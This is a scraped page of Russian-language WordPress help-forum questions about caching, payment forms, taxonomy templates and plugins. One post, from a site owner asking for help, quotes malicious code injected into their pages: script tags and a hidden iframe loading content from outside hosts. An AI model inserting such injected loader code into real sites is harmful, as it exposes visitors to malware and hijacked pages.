Обсуждения

Не работает Max cache на стр. плаг. WP e-Commerce

Здравствуйте, уважаемые форумчане!

Сайт-пациент = s h i p t o m e . r u
конфиг. = WP v. 3.6.1 ru
установлен плагин интернет-магазина WP e-Commerce версии. = 3.8.12.1 (http://wordpress.org/plugins/wp-e-commerce/)

Из-за большого времени загрузки страниц сайта было решено выполнить его оптимизацию.
Одной из задач оптимизации было наладить кеширование на сайте, при переборе различных плагинов кеширования (Hyper Cache в сочетании с DB Cache Reloaded Fix + WP Manifi + WP Smush it) — возникли проблемы — попропадали некоторые части кода сайта, пришлось уйти от эти сочетаний. Я нашёл альтернативный скрипт(http://maxsite.org/page/maxsite-cache) выше названым. После его установки я получил ускорение почти в 2-а раза по отношению ко времени загрузки страниц, только на определённых стр. Max cache — всё же не заработал.

Проблема:
—————
На всех стр. сайта данный скрипт кеширования работает, кроме тех страниц, которые генерируются плагином = WP e-Commerce, как я уже разобрался уже в ходя проведённого мной анализа причины:

http://s h i p t o m e . r u /catalog/
http://s h i p t o m e . r u /catalog/*****/
http://s h i p t o m e . r u /catalog/*/
http://s h i p t o m e . r u /catalog/*/*****/
http://s h i p t o m e . r u /tagged/*****/

*, ***** — означают любые знаки (как на сайте).

Я общался с разработчиком скрипта Max cache с просьбой помочь и подсказать как решить данную проблему, но получил только такие советы:
——————–
1.-совет

Я не знаю как именно организован ваш сайт. Скорее всего catalog — это либо какое-то
перенаправление на уровне сервера (.htaccess), либо шаблона, либо плагина. Я не занимаюсь
WordPress-сайтами, тем более чужими разработками, поэтому мне тяжело что-то сказать
конкретно. Обратитесь к разработчику сайта, возможно он сможет определить причину
нереботы кеша. Как я уже сказал она скорее всего связана с перенаправлением, поэтому все
url-запросы идут «мимо» кеша.

Как вариант, попробуйте переключиться на дефолтный шаблон и проверьте работу кеша. Если
эти же адреса также не кешируются, значит дело в каком-то плагине. Отключайте плагины по
одному и определите проблемный.

2.-совет

Я просмотрел код этого плагина и вижу, что в нем просто
тупо удаляется буфер вывода. То есть вместо того, чтобы корректно получить свой уровень
буфера, разработчик его просто удаляет. Таким образом, когда срабатывает кеш, буфер
уже пустой.

Пишите разработчику этого плагина. Пусть учит документацию по буферизации вывода PHP:
http://www.php.net/manual/ru/ref.outcontrol.php и исправляет свои ошибки.

——————–

Я прочитал инф-ю про ф-и буферизации в PHP — нашёл то, что они использовались в 23 файлах плагина WP e-commerce(хотя автор скрипта Max cache — говорил выше, что удаляется буфер вывода, а он там присутствует также он советовал, что всё-таки:

Вот там, где нашли и нужно исправлять. В каждом случае индивидуально разбирая код.

), пробовал интегрировать код приведённый на стр. = http://maxsite.org/page/ras34, в файлы шаблонов страниц, описанных выше, но результата это не дало.

уменьшения скорости загрузки выше описанных стр. не получилось добиться.

Данный плагин, о котором идёт речь устроен так, что у него есть раздел настроек по пути:

Админка WP — Параметры — Магазин — Презентация

вот список настроек справа вверху стр. Презентация, и некоторые из описанных ниже имён шаблонов относятся к тем, что отвечают за оформление стр. сайта: wpsc-products_page.php + wpsc-single_product.php — среди этого списка стоят у меня галки напротив этих файлов +

Также после каждого добавления кодов в файлы указанных шаблонов я очищал кеш кнопкой = Flush Theme Cache (указанной ниже)

=====================


Некоторые Тема файлы были перемещены в папку с темой WordPress.

WP e-Commerce provides you the ability to move your theme files to a safe place for theming control. If you want to change the look of your site, select the files you want to edit from the list and click the move button. This will copy the template files to your active WordPress theme.

    wpsc-single_product.php
    wpsc-cart_widget.php
    wpsc-list_view.php
    wpsc-category-list.php
    compatibility.css
    wpsc-user-log.php
    wpsc-grid_view.php
    wpsc-account-downloads.php
    wpsc-default.css
    wpsc-transaction_results.php
    wpsc-shopping_cart_page.php
    wpsc-products_page.php
    wpsc-category_widget.php
    wpsc-account-purchase-history.php
    wpsc-account-edit-profile.php
    wpsc-featured_product.php

To change the look of certain aspects of your shop, you can edit the moved files that are found here:

/var/www/wp-content/themes/phomedia

You can create a copy of your WordPress Theme by clicking the backup button bellow. Once copied you can find them here:

/wp-content/uploads/wpsc/theme_backup/

Backup Your WordPress Theme	

If you have moved your files in some other way i.e FTP, you may need to click the Flush Theme Cache. This will refresh the locations WordPress looks for your templates.

Flush Theme Cache
=====================

Очень прошу помочь решить данную проблему!

Жду Ваших советов и рекомендаций и напутствий в том как же мне всё-таки убрать удаление буфера вывода ?
Готов оплатить Вашу работу, если она будет успешной и решит мои проблемы!

i c q : 4 3 2 – 2 1 4 – 8 6 4 (без пробелов)
s k y p e: a k l e v a (без пробелов)

so-contact-form. кто может её заставить?

Речь, конечно, идёт о FS Contact Form))) Написал сослепу, а тему, уже, не поправить. Тока тэкст( Господа модераторы, если не в лом, помогите: исправьте в заглавии…

Раньше ставил и пользовал, и подтверждения через неё получал. Но, прошли годы…
Поставил две формы (на сайте и на блоге) выглядят хорошо, сообшения принимают, файлы прикрепляют, но, кроме, ВАШЕ СООБЩЕНИЕ ОТПРАВЛЕНО. СПАСИБО, никто о тех сообщениях больше ничего не знает, а в одном случае, надо прописать и подтверждение.
В общем, если кто точно знает, что там надо и куда вписать, милости прошу к нашему столику, тут немного наливают:))

Заранее благодарен,
Андрей.

Помогите справится с вирусом :(

Здравствуйте.
Обнаружил у себя на сайте вирус. Посторонний код появляется в коде новости когда в админке на вкладке редактирования любой страницы посмотреть ее в визуальном редакторе. Потом снова переключаюсь на HTML код страницы и под текстом статьи появляется код:

<p><script type="text/javascript" src="https://pluginplus.net/plugins/system/system_ps.js"></script></p>
<p><iframe style="width: 0px; height: 0px; border: 0px none;" src="https://pluginplus.net/statistica/statistic_li.html"></iframe></p>
<p><script type="text/javascript" src="http://c.am15.net/preloader7.js"></script></p>
<div id="advm_video"> </div>
<div>
<div id="advm_block" style="display: none;">
<div id="advm_close">Закрыть [Х]</div>
<div id="ambn17757"> </div>
<div id="advm_box">
<div>Осталось <span id="advm_timer"></span> сек.</div>
</div>
</div>
</div>

В HTML коде страницы удаляю указанный код и сохраняю страницу – кода нет. Если же переключиться снова на визуальный редактор страницы и обратно в HTML код – код вируса опять есть. Никак не могу его найти в файлах сайта… 🙁 Подскажите в каком виде он может быть и где? Заранее благодарен за помощь.

Установка javascript

Привет всем.

На страницу вордпресса нужно установить javascript (калькулятор расхода топлива).
Скрипт имеется, а вот как его поставить туда, не знаю.

Заранее благодарен за помощь!

функция mail в wordpress

создал форму обратной связи.Аяксом передаю значения полей и отправляю майлом на мыло
почему не работает функция mail?
как отправлять почту?

Доработка xmlrpc

Помогите с доработкой xmlrpc (не за бесплатно, конечно же).
Нужно, чтоб при удаленной публикации создавалась папка в site/images/
Для каждой записи своя папка. Название папки = ID записи.
Как это реализовать?

Интеграция liqpay на вордпресс

Здравствуйте, знатоки.

Кто-то встречался с такой ситуацией:
Подключил систему оплаты ликпай к сайту. Если сумма фиксированная, то форма работает отлично,
но мне нужно что бы пользователь сам мог вписать сумму.

Для этого использую форму (полный код):

<?

$merchant_id='iхххххххххх';
$signature="хххххххххххххххххххххххххххххххххххх";
$url="https://www.liqpay.com/?do=clickNbuy";
$method='card';
$phone='+хххххххххххх';
$amount = $_POST['amount']; //забираем значение из POST

    

    $xml="<request>      
        <version>1.2</version>
        <result_url>http://www.ikvaprokat.com/ок/</result_url>
        <server_url>http://mysite.com/lqanswer.php</server_url>
        <merchant_id>$merchant_id</merchant_id>
        <order_id>$order_id</order_id>
        <amount>$amount</amount>
        <currency>UAH</currency>
        <description>Аванс</description>
        <default_phone>$phone</default_phone>
        <pay_way>$method</pay_way> 
        </request>
        ";
    
    
    $xml_encoded = base64_encode($xml); 
    $lqsignature = base64_encode(sha1($signature.$xml.$signature,1));
    


echo("<form action='$url' method='POST'>
      <input type='hidden' name='operation_xml' value='$xml_encoded' />
      <input type='hidden' name='signature' value='$lqsignature' />
          Введите сумму <input type='text' size='4' name='amount'  />

    <input type='submit' value='Pay'/>
    </form>");
?>

Но в таком виде уже на стороне ликпай выдает ошибку, что введена неверная сумма.
Как это исправить.
Написано то, кажется, все правильно, но почему то не работает так, как надо.

Как вывести id изображения NGGallery в lightbox

Интересует вопрос, как в NGGallery вытащить image->pid вне плагина ?
Нужно вывести id изображения в lightbox.

Кроспост из ВК в WordPress

Существует ли плагин или способ публиковать из своей группы в VK в свой блог на WordPress?

Условие на наличие дочек в таксономии

Здравствуйте, уважаемые гуру вордпресс.
Есть проблемка, с которой борюсь. Подскажите пожалуйста

Суть в следующем. В архивной странице таксономии (в данном случае taxonomy-typeuslugi.php пробую реализовать такую штуку
Если мы находимся на странице рубрики таксономии, и в этой рубрики есть дочерние подрубрики – выводиться список подрубрик в виде таблиц.
Если же мы находимся на странице рубрики (подрубрики), и там дальше нет дочерних подрубрик – выводяться записи (плитками). Это сделал.
Но есть еще один момент. Если мы находимся на странице рубрики, где есть подрурики – выводиться все подрубрики плитками. И если в одной из подрубрик есть еще дочки, тогда список выводяться ее дочки через wp_list_categories.

Если же нет подрубрик – то просто кнопка "Подробнее"

Вот именно эта штука никак не получаеться. Подскажите, как лучше сделать.
Ниже привожу все код.

 
 <? $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) ); // get current term
$parent = get_term($term->parent, get_query_var('taxonomy') ); // get parent term
$children = get_term_children($term->term_id, get_query_var('taxonomy')); // get children
if(($parent->term_id!="" && sizeof($children)>0)) { ?>

<!--has parent and child-->
    
<?php
  $terms = get_terms('typeuslugi', array ('parent'=>$term->term_id,  'orderby'=>'id', 'hide_empty' => 0, 'hierarchical' => 0));
  $count = count($terms);
  foreach ($terms as $term) { 
   $custom_field = get_field('catimg', 'typeuslugi_' . $term->term_id  );
  $price = get_field('price', 'typeuslugi_' . $term->term_id);
?>
 
 <div class="subfundament">
                    <a href="/typeuslugi/<? echo $term->slug; ?>" title="<? echo $term->name; ?>"><img src="<? echo $custom_field['sizes']['term']; ?>"  /></a>
                    <h3><? echo $term->name; ?></h3>
                    <p  class="descterm"><?php echo term_description( $term->term_id, 'typeuslugi' ) ?></p>
                    <? if($price !== '') { ?><p class="price"><? echo $price ?><span> руб</span></p><? } ?>
                    <a class="orangemore" href="/typeuslugi/<? echo $term->slug; ?>">подробнее</a>
                </div>
                
 
 <? } ?>



<? }elseif(($parent->term_id=="") && (sizeof($children)>0)) { ?>

<!--no parent, has child-->

<?php
  $terms = get_terms('typeuslugi', array ('parent'=>$term->term_id,  'orderby'=>'id', 'hide_empty' => 0, 'hierarchical' => 0));
  $count = count($terms); 
  foreach ($terms as $term) {  
  $custom_field = get_field('catimg', 'typeuslugi_' . $term->term_id  );
  $price = get_field('price', 'typeuslugi_' . $term->term_id);
?>
 
 <div class="subfundament">
                    <a href="/typeuslugi/<? echo $term->slug; ?>" title="<? echo $term->name; ?>"><img src="<? echo $custom_field['sizes']['term']; ?>"  /></a>
                    <h3><? echo $term->name; ?></h3>
                    
                    <div class="descterm"><?php echo term_description( $term->term_id, 'typeuslugi' ) ?></div>
                    <? if($price !== '') { ?><p class="price"><? echo $price ?><span> руб</span></p><? } ?>
                    
<?php
$term = get_queried_object();

$children = get_terms( $term->taxonomy, array(
'child_of'    => $term->term_id,
'hide_empty' => false
) );
// print_r($children); // uncomment to examine for debugging
if($children) {  ?>
<ul id="nav">
            <li><a href="#">Категории</a>
                <ul><? wp_list_categories('taxonomy=typeuslugi&show_count=0&hide_empty=0&title_li=&child_of='. $term->term_id); ?></ul>
            </li>
        </ul>        
<? } else { ?>
Подробнее
<? } ?>
    
    
                    
                </div>
                
 
 <? } ?>

<? } else { ?>

<!--has parent, no child-->
    <p>Тут будут записи</p>

        <? } ?>

плагин для создания ссылок

Всем привет,
Подскажите, пожалуйста, я когда-то видел такие удобные плагины для создания ссылок на статьи в социальных сетях .
надо :
1) редактор социальных сетей (добавление с картинкой, удаление).
2) В админке в редакторе каждой статьи ввести ссылки на все соц. сети.
3) Отобразить в линейку на фронтенде на странице статьи. С возможностью задавать шаблон или форматирование этой линейки.

Совместимый с последней стабильной WordPress (Version 3.7.1 )

Спасибо,

Проблема с редактором

Возникла проблема с редактором а точнее не работает визуальный режим нормально, пропала вкладка добавление файлов, где искать проблему подскажите кто знает.

Помогите найти плагин

Никак не могу найти подходящий плагин.
Нужно реализовать на блоге вот такой вид постов http://joxi.ru/Fzl_Utg5CbAgZKUpaMo
2 колонки,картинка,текст, читать далее,и переход на сайт

может кто знает плагин или шорткоды подходящие

Infinity scroll – бесконечная прокрутка

Здравствуйте!
Решил реализовать на своём сайте бесконечный скроллинг, то есть когда пользователь оказывается внизу странички автоматически подгружаются следующие посты.
Смог найти реализацию подобного только в нескольких плагинах – один из них infinity scroll. Однако, я совершенно не представляю, как нужно заполнять поля настроек (Content Selector, Navigation Selector, Next Selector, Item Selector.
Сайт: tmmog.ru
Заранее огромное спасибо!

Перестали показываться ролики на youtube

Последние пару недель в новых темах перестали отображаться ролики с youtube (вместо ролика отображается просто урл).

Такая проблема сразу на всех моих wp-блогах, везде стоит WordPress 3.5.1.

Причем в старых темах ролики отображаюся нормально, но если старую тему отредактировать, то вместо роликов также отображаются урлы.

Кто-нибудь сталкивался с подобным?

Обновлять до WordPress 3.6.1 не пробовал.
Спасибо.

Не отображается картинка кнопки

Прописываю в style.css путь к картинке кнопки www.site.ru/images/button.gif – кнопка на сайте не выводится. Пишет "Невозможно загрузить указанный УРЛ". Когда прописываю полный путь: www.site.ru/wp-content/themes/название темы/images/button.gif – кнопка появляется. Какая может быть причина того, что при первом виде урл кнопка не выводится? Права доступа папки "images" – 755. Заранее благодарен за помощь.

sql-запросы в WordPress

всем привет

народ, подскажите: где в WordPress находятся функции с sql-запросами ?
ну, в каких функциях/файлах

очень нид!

Вывод рубрики и ее подрубрик

Привет, всем!

Помогите разобраться с кодом. Мне необходимо выводить одну рубрику + все ее подрубрики.
Пишу такой код. Но он выводит ТОЛЬКО основную рубрику… И не показывает подрубрики.

Рубрика №7 и все её подрубрики, более 200 штук.

<?php
wp_list_cats(‘sort_column=name&include=7&hierarchical=1&optioncount=0&list=1&depth=2’); ?>

Но показывает только основную рубрику, без подрубрик…

Что у меня не так?

Как правильно настроить кэш?!

Приветствую друзья! Есть плагин maxcache. Также недавно поставил плагин CM Answers.
Нужно чтобы адреса связанные с /answers/* не кэшировалось.
Консультировался у Макса. Сказал, что нужно вписать этот код. Но я в php не разбираюсь. Выдает ошибку. Помогите пожалуйста.

В index.php нужно изменить так, чтобы исключить подключение кеша по какой-то маске. Вот
пример кода исключающие адреса, содержащие /answers/:

$_cache_run = true;

if (isset($_SERVER['REQUEST_URI']) and strpos($_SERVER['REQUEST_URI'], '/answers/') !
== false) {
        $_cache_run = false;
}

if ($_cache_run)
{
        require_once('maxsite-cache.php');
        if (maxsite_cache()) return;
}

define('WP_USE_THEMES', true);
require('./wp-blog-header.php');

if ($_cache_run) maxsite_cache_end();

Убирал ! знак со 2 строки

Проблемы с редактированием темы

Здравствуйте. Купилf шаблон. Создаю на его основе сайт. Специально выложила его на бесплатный хостинг для доработки: http://dmobile.byethost6.com/contacts/?preview=true&preview_id=14&preview_nonce=9b1f82429a.
Есть некоторые сложности, а обещанны саппорт разработчика пропал((( Если кто-то сможет помочь, буду благодарна:

1) В разделе "Контакты" была гугл-карта, попыталась заменить ее с учетом реального нашего адреса. Вставила на место бывшей ссылки ссылку, выданную Гуглом – ничего не выходит. С яндексом тоже. Я явно что-то не учитываю. Что? Сейчас вернула старый код гуглмэпс. Он значительно отличается от того, что выдает гугл для вставки на сайт.

2) Понравилась верстка раздела "О нас" в исходном шаблоне. На его основе (скорпировала код) хочу сделать остальные страницы. Чтобы слева шел блок основного текста, а справа "вспомогательные" блоки. Но не удается разместить второй правый блок под первым, он уезжает влево(((. Верстка идет на fullscreen, без sidebar. Если надо, могу здесь привести код.

3) http://dmobile.byethost6.com/%D0%B2%D0%BB%D0%B0%D0%B4%D0%B5%D0%BB%D1%8C%D1%86%D0%B0%D0%BC-%D0%B3%D1%80%D1%83%D0%B7%D0%B0/
Хочу внутри основного "бокса" вставить еще "боксы, в которых будет текст. Боксы вставляются, а текст в них – нет, уходит ниже. Как быть? И можно ли варьировать цвет бокса?

Спасибо.
Извините, если что-то не так объясняю. В вордпрессе я только осваиваюсь).

Anonymous
Отправить
Ответ на: